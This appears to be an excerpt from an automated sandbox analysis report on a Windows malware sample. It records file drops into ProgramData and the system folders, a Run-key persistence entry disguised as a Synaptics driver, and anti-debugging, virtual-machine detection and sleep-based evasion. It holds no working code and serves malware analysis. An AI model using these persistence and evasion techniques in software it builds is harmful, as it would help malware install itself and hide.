Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\~$cache1	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\Synaptics\RCXF93C.tmp			Jump to dropped file

Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\SysWOW64\wrap_oal.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\SysWOW64\tmpBBC.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\System32\wrap_oal.new	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\SysWOW64\tmpB6D.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\SysWOW64\wrap_oal.new	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\System32\OpenAL32.new	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\SysWOW64\OpenAL32.new	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\system32\OpenAL32.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\SysWOW64\OpenAL32.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\system32\wrap_oal.dll (copy)	Jump to dropped file

Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\SysWOW64\OpenAL32.new	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\SysWOW64\wrap_oal.new	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\System32\OpenAL32.new	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	File created: C:\Windows\System32\wrap_oal.new	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\~$cache1	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\._cache_file.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\wrap_oal.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	Dropped PE file which has not been started: C:\Windows\System32\wrap_oal.new	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\wrap_oal.new	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	Dropped PE file which has not been started: C:\Windows\System32\OpenAL32.new	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\OpenAL32.new	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	Dropped PE file which has not been started: C:\Windows\system32\OpenAL32.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\OpenAL32.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_file.exe	Dropped PE file which has not been started: C:\Windows\system32\wrap_oal.dll (copy)	Jump to dropped file

Source: C:\Users\user\Desktop\._cache_file.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_2-14031

Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 3200	Thread sleep time: -4800000s >= -30000s			Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 9116	Thread sleep time: -60000s >= -30000s			Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe

Last function: Thread delayed

Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: Amcache.hve.12.dr	Binary or memory string: VMware
Source: Amcache.hve.12.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.12.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.12.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.12.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.12.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.12.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.12.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.12.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: file.exe, 00000000.00000003.2137676643.0000000000775000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: Synaptics.exe, 00000003.00000002.2940697198.00000000005BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.12.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Synaptics.exe, 00000003.00000002.2940697198.000000000057E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0Q\%SystemRoot%\system32\mswsock.dll$;C /
Source: Amcache.hve.12.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.12.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.12.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.12.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.12.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.12.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.12.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.12.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.12.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.12.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.12.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.12.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.12.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.12.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.12.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.12.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.12.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.12.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.12.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\._cache_file.exe

API call chain: ExitProcess graph end node

graph_2-14033

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_0040925A _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

2_2_0040925A

Source: C:\Users\user\Desktop\._cache_file.exe

2_2_0040F141

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_00406A61 GetStartupInfoA,GetProcessHeap,GetProcessHeap,HeapAlloc,_fast_error_exit,GetVersionExA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,_fast_error_exit,_fast_error_exit,__RTC_Initialize,__ioinit,__amsg_exit,GetCommandLineA,___crtGetEnvironmentStringsA,__setargv,__amsg_exit,__setenvp,__amsg_exit,__cinit,__amsg_exit,__wincmdln,

2_2_00406A61

Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_004190D1 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_004190D1
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_0040925A _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0040925A
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_004064A4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_004064A4

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\._cache_file.exe "C:\Users\user\Desktop\._cache_file.exe"			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate			Jump to behavior

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_00418AFC cpuid

2_2_00418AFC

Source: C:\Users\user\Desktop\._cache_file.exe	Code function: _LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	2_2_00413876
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,	2_2_00411879
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: GetLocaleInfoA,	2_2_004168E0
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoW_stat,	2_2_004198F1
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	2_2_00413961
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLastError,GetLocaleInfoW,__alloca_probe_16,_malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,GetLocaleInfoA,	2_2_0041992C
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: EnumSystemLocalesA,	2_2_00413937
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	2_2_004139C6
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	2_2_004111EA
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	2_2_00419A69
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: _TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,_ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itoa_s,	2_2_00413A02
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,InterlockedDecrement,InterlockedDecrement,	2_2_00411AFD
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: GetLocaleInfoA,	2_2_004134BC
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,InterlockedDecrement,InterlockedDecrement,	2_2_00411DC1
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: _LcidFromHexString,GetLocaleInfoA,	2_2_0041359E
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: GetLocaleInfoA,_LcidFromHexString,_GetPrimaryLen,_strlen,	2_2_00413634
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: _LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	2_2_004136A6
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,__invoke_watson,___crtGetLocaleInfoA,	2_2_0040EFDD
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLastError,GetLocaleInfoW,GetLocaleInfoA,GetLocaleInfoA,__alloca_probe_16,_malloc,GetLocaleInfoA,MultiByteToWideChar,__freea,	2_2_004197B6

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Users\user\Desktop\._cache_file.exe

Code function: 2_2_0040DF5F GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

2_2_0040DF5F

Source: C:\Users\user\Desktop\._cache_file.exe

